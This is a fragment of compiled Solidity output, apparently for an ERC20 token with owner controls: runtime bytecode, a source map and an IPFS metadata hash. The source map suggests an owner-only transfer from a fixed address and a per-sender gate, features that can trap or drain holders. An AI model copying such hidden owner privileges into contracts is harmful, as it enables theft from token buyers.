a01b0382166108c75760405162461bcd60e51b81526004016104a890610aa2565b805f036108de576108d983835f610503565b505050565b6108d9838383610503565b6005546001600160a01b0316331461045d5760405163118cdaa760e01b81523360048201526024016104a8565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b80356001600160a01b038116811461097d575f80fd5b919050565b5f8060408385031215610993575f80fd5b61099c83610967565b946020939093013593505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f805f606084860312156109f1575f80fd5b6109fa84610967565b9250610a0860208501610967565b929592945050506040919091013590565b5f60208284031215610a29575f80fd5b610a3282610967565b9392505050565b5f8060408385031215610a4a575f80fd5b610a5383610967565b9150610a6160208401610967565b90509250929050565b600181811c90821680610a7e57607f821691505b602082108103610a9c57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea26469706673582212204ee3afc4bd842208fa2d36c6e5001897a92392504cf4e0600e8a0f25a498c15764736f6c634300081a0033

13502:3902:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15005:128;;;;;;;;;;-1:-1:-1;15005:128:0;;;;;:::i;:::-;;:::i;:::-;;2819:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3748:199;;;;;;;;;;-1:-1:-1;3748:199:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;3748:199:0;920:187:1;13577:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1303:32:1;;;1285:51;;1273:2;1258:18;13577:51:0;1112:230:1;3139:108:0;;;;;;;;;;-1:-1:-1;3227:12:0;;3139:108;;;1493:25:1;;;1481:2;1466:18;3139:108:0;1347:177:1;3955:258:0;;;;;;;;;;-1:-1:-1;3955:258:0;;;;;:::i;:::-;;:::i;3039:92::-;;;;;;;;;;-1:-1:-1;3039:92:0;;3122:1;2050:36:1;;2038:2;2023:18;3039:92:0;1908:184:1;13635:28:0;;;;;;;;;;-1:-1:-1;13635:28:0;;;;-1:-1:-1;;;;;13635:28:0;;;13886;;;;;;;;;;;;;;;;3255:127;;;;;;;;;;-1:-1:-1;3255:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3356:18:0;3329:7;3356:18;;;;;;;;;;;;3255:127;998:103;;;;;;;;;;;;;:::i;729:87::-;;;;;;;;;;-1:-1:-1;802:6:0;;-1:-1:-1;;;;;802:6:0;729:87;;2927:104;;;;;;;;;;;;;:::i;3390:191::-;;;;;;;;;;-1:-1:-1;3390:191:0;;;;;:::i;:::-;;:::i;3589:151::-;;;;;;;;;;-1:-1:-1;3589:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3705:18:0;;;3678:7;3705:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3589:151;13844:33;;;;;;;;;;;;;;;;1109:220;;;;;;;;;;-1:-1:-1;1109:220:0;;;;;:::i;:::-;;:::i;15005:128::-;15081:7;:5;:7::i;:::-;15089:36;15105:7;13828:6;15118;15089:15;:36::i;:::-;15005:128;;:::o;2819:100::-;2873:13;2906:5;2899:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2819:100;:::o;3748:199::-;3830:4;175:10;3886:31;175:10;3902:7;3911:5;3886:8;:31::i;:::-;-1:-1:-1;3935:4:0;;3748:199;-1:-1:-1;;;3748:199:0:o;3955:258::-;4051:4;175:10;4109:37;4125:4;175:10;4140:5;4109:15;:37::i;:::-;4157:26;4167:4;4173:2;4177:5;4157:9;:26::i;:::-;-1:-1:-1;4201:4:0;;3955:258;-1:-1:-1;;;;3955:258:0:o;998:103::-;688:13;:11;:13::i;:::-;1063:30:::1;1090:1;1063:18;:30::i;:::-;998:103::o:0;2927:104::-;2983:13;3016:7;3009:14;;;;;:::i;3390:191::-;3468:4;175:10;3524:27;175:10;3541:2;3545:5;3524:9;:27::i;1109:220::-;688:13;:11;:13::i;:::-;-1:-1:-1;;;;;1194:22:0;::::1;1190:93;;1240:31;::::0;-1:-1:-1;;;1240:31:0;;1268:1:::1;1240:31;::::0;::::1;1285:51:1::0;1258:18;;1240:31:0::1;;;;;;;;1190:93;1293:28;1312:8;1293:18;:28::i;:::-;1109:220:::0;:::o;15539:88::-;15598:10;15588:21;;;;:9;:21;;;;;;;;15580:39;;;;-1:-1:-1;;;15580:39:0;;3348:2:1;15580:39:0;;;3330:21:1;3387:1;3367:18;;;3360:29;-1:-1:-1;;;3405:18:1;;;3398:35;3450:18;;15580:39:0;3146:328:1;4221:685:0;-1:-1:-1;;;;;4318:18:0;;4310:69;;;;-1:-1:-1;;;4310:69:0;;3681:2:1;4310:69:0;;;3663:21:1;3720:2;3700:18;;;3693:30;3759:34;3739:18;;;3732:62;-1:-1:-1;;;3810:18:1;;;3803:36;3856:19;;4310:69:0;3479:402:1;4310:69:0;-1:-1:-1;;;;;4398:16:0;;4390:64;;;;-1:-1:-1;;;4390:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4539:15:0;;4517:19;4539:15;;;;;;;;;;;4573:20;;;;4565:70;;;;-1:-1:-1;;;4565:70:0;;4492:2:1;4565:70:0;;;4474:21:1;4531:2;4511:18;;;4504:30;4570:34;4550:18;;;4543:62;-1:-1:-1;;;4621:18:1;;;4614:36;4667:19;;4565:70:0;4290:402:1;4565:70:0;-1:-1:-1;;;;;4671:15:0;;;:9;:15;;;;;;;;;;;:24;;;;;;;4710:13;;;;;;;;;:22;;;;;;4774:6;4760:21;4756:84;;4818:2;-1:-1:-1;;;;;4803:25:0;4812:4;-1:-1:-1;;;;;4803:25:0;;4822:5;4803:25;;;;1493::1;;1481:2;1466:18;;1347:177;4803:25:0;;;;;;;;4756:84;4299:607;4221:685;;;:::o;5351:343::-;-1:-1:-1;;;;;5452:19:0;;5444:68;;;;-1:-1:-1;;;5444:68:0;;4899:2:1;5444:68:0;;;4881:21:1;4938:2;4918:18;;;4911:30;4977:34;4957:18;;;4950:62;-1:-1:-1;;;5028:18:1;;;5021:34;5072:19;;5444:68:0;4697:400:1;5444:68:0;-1:-1:-1;;;;;5531:21:0;;5523:68;;;;-1:-1:-1;;;5523:68:0;;5304:2:1;5523:68:0;;;5286:21:1;5343:2;5323:18;;;5316:30;5382:34;5362:18;;;5355:62;-1:-1:-1;;;5433:18:1;;;5426:32;5475:19;;5523:68:0;5102:398:1;5523:68:0;-1:-1:-1;;;;;5604:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:35;;;5655:31;;1493:25:1;;;5655:31:0;;1466:18:1;5655:31:0;;;;;;;5351:343;;;:::o;5706:416::-;-1:-1:-1;;;;;3705:18:0;;;5806:24;3705:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5873:37:0;;5869:246;;5955:5;5935:16;:25;;5927:67;;;;-1:-1:-1;;;5927:67:0;;5707:2:1;5927:67:0;;;5689:21:1;5746:2;5726:18;;;5719:30;5785:32;5765:18;;;5758:60;5835:18;;5927:67:0;5505:354:1;5927:67:0;6038:50;6047:5;6054:7;6082:5;6063:16;:24;6038:8;:50::i;15141:390::-;-1:-1:-1;;;;;15239:18:0;;15231:68;;;;-1:-1:-1;;;15231:68:0;;6066:2:1;15231:68:0;;;6048:21:1;6105:2;6085:18;;;6078:30;6144:34;6124:18;;;6117:62;-1:-1:-1;;;6195:18:1;;;6188:35;6240:19;;15231:68:0;5864:401:1;15231:68:0;-1:-1:-1;;;;;15318:16:0;;15310:64;;;;-1:-1:-1;;;15310:64:0;;;;;;;:::i;:::-;15389:6;15399:1;15389:11;15385:93;;15417:28;15433:4;15439:2;15443:1;15417:15;:28::i;:::-;15141:390;;;:::o;15385:93::-;15490:33;15506:4;15512:2;15516:6;15490:15;:33::i;824:166::-;802:6;;-1:-1:-1;;;;;802:6:0;175:10;884:23;880:103;;931:40;;-1:-1:-1;;;931:40:0;;175:10;931:40;;;1285:51:1;1258:18;;931:40:0;1112:230:1;1337:191:0;1430:6;;;-1:-1:-1;;;;;1447:17:0;;;-1:-1:-1;;;;;;1447:17:0;;;;;;;1480:40;;1430:6;;;1447:17;1430:6;;1480:40;;1411:16;;1480:40;1400:128;1337:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:300::-;260:6;268;321:2;309:9;300:7;296:23;292:32;289:52;;;337:1;334;327:12;289:52;360:29;379:9;360:29;:::i;:::-;350:39;458:2;443:18;;;;430:32;;-1:-1:-1;;;192:300:1:o;497:418::-;646:2;635:9;628:21;609:4;678:6;672:13;721:6;716:2;705:9;701:18;694:34;780:6;775:2;767:6;763:15;758:2;747:9;743:18;737:50;836:1;831:2;822:6;811:9;807:22;803:31;796:42;906:2;899;895:7;890:2;882:6;878:15;874:29;863:9;859:45;855:54;847:62;;;497:418;;;;:::o;1529:374::-;1606:6;1614;1622;1675:2;1663:9;1654:7;1650:23;1646:32;1643:52;;;1691:1;1688;1681:12;1643:52;1714:29;1733:9;1714:29;:::i;:::-;1704:39;;1762:38;1796:2;1785:9;1781:18;1762:38;:::i;:::-;1529:374;;1752:48;;-1:-1:-1;;;1869:2:1;1854:18;;;;1841:32;;1529:374::o;2305:186::-;2364:6;2417:2;2405:9;2396:7;2392:23;2388:32;2385:52;;;2433:1;2430;2423:12;2385:52;2456:29;2475:9;2456:29;:::i;:::-;2446:39;2305:186;-1:-1:-1;;;2305:186:1:o;2496:260::-;2564:6;2572;2625:2;2613:9;2604:7;2600:23;2596:32;2593:52;;;2641:1;2638;2631:12;2593:52;2664:29;2683:9;2664:29;:::i;:::-;2654:39;;2712:38;2746:2;2735:9;2731:18;2712:38;:::i;:::-;2702:48;;2496:260;;;;;:::o;2761:380::-;2840:1;2836:12;;;;2883;;;2904:61;;2958:4;2950:6;2946:17;2936:27;;2904:61;3011:2;3003:6;3000:14;2980:18;2977:38;2974:161;;3057:10;3052:3;3048:20;3045:1;3038:31;3092:4;3089:1;3082:15;3120:4;3117:1;3110:15;2974:161;;2761:380;;;:::o;3886:399::-;4088:2;4070:21;;;4127:2;4107:18;;;4100:30;4166:34;4161:2;4146:18;;4139:62;-1:-1:-1;;;4232:2:1;4217:18;;4210:33;4275:3;4260:19;;3886:399::o

ipfs://4ee3afc4bd842208fa2d36c6e5001897a92392504cf4e0600e8a0f25a498c157